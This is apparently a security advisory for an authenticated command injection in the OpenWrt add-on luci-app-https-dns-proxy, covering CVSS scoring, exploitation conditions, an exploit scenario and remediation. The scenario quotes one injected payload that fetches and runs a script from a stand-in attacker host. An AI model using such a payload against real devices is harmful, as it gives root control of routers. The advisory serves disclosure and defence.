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CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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luci-app-https-dns-proxy through 2025.12.29-5 - an optional LuCI web UI add-on for the https-dns-proxy package, distributed through the OpenWrt community packages feed and not installed by default - contains a command injection vulnerability in the setInitAction function. An authenticated user holding the luci.https-dns-proxy ACL permission can inject shell metacharacters through the 'name' parameter of a ubus RPC call to luci.https-dns-proxy setInitAction, resulting in arbitrary command execution as root on the underlying device. Core OpenWrt is not affected; only installations that have opted in to the luci-app-https-dns-proxy package are vulnerable.
AnalysisAI
Authenticated command injection in luci-app-https-dns-proxy through version 2025.12.29-5 allows a low-privileged LuCI user holding the luci.https-dns-proxy ACL permission to execute arbitrary commands as root on OpenWrt devices via shell metacharacters in the 'name' parameter of a ubus RPC call to setInitAction. Publicly available exploit code exists (Exploit-DB 52521, VulnCheck advisory), though EPSS remains low at 0.06% and the package is an optional community add-on not installed by default. …
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| Exploitation | Requires (1) the optional luci-app-https-dns-proxy package from the OpenWrt community feed to be installed - it is not present in default OpenWrt builds; (2) the LuCI web interface and ubus RPC endpoint to be reachable from the attacker's network position (typically LAN by default, WAN only if the administrator has explicitly exposed it); and (3) valid LuCI credentials whose role grants the luci.https-dns-proxy ACL permission, as confirmed by CVSS PR:L. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) yields 8.7 - network-reachable, low complexity, requiring low privileges (an authenticated LuCI user with the specific ACL), no user interaction, with total confidentiality, integrity, and availability impact on the vulnerable component. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who has obtained a low-privileged LuCI account with the luci.https-dns-proxy ACL - for example, a delegated network operator, a guest admin on a shared router, or credentials harvested via phishing or reuse - connects to the LuCI web interface and issues a ubus RPC call to luci.https-dns-proxy setInitAction with a 'name' parameter containing shell metacharacters such as `;wget http://attacker/x -O- | sh;`. The ubus handler concatenates the value into a shell invocation, and the injected command executes as root, giving the attacker full control of the OpenWrt device including persistence, traffic interception, and lateral pivot into the LAN. … |
| Remediation | Upstream fix available via the project repository at https://github.com/stangri/luci-app-https-dns-proxy; a released patched version newer than 2025.12.29-5 is not independently confirmed from the provided data, so administrators should pull the latest release from the community feed (opkg update && opkg upgrade luci-app-https-dns-proxy) once a tagged build above 2025.12.29-5 is published, and verify against the VulnCheck advisory at https://www.vulncheck.com/advisories/luci-app-https-dns-proxy-authenticated-command-injection-via-setinitaction. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Within 24 hours: Inventory all OpenWrt deployments to identify systems with luci-app-https-dns-proxy installed and determine which users hold the luci.https-dns-proxy ACL permission. …
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